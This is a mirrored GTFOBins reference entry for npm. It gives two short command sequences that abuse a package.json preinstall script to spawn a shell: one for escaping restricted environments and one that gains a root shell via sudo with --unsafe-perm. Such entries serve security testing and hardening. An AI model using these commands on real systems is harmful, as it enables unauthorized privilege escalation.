mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
14 lines
319 B
Markdown
14 lines
319 B
Markdown
---
|
|
functions:
|
|
shell:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
|
|
npm -C $TF i
|
|
sudo:
|
|
- code: |
|
|
TF=$(mktemp -d)
|
|
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
|
|
sudo npm -C $TF --unsafe-perm i
|
|
---
|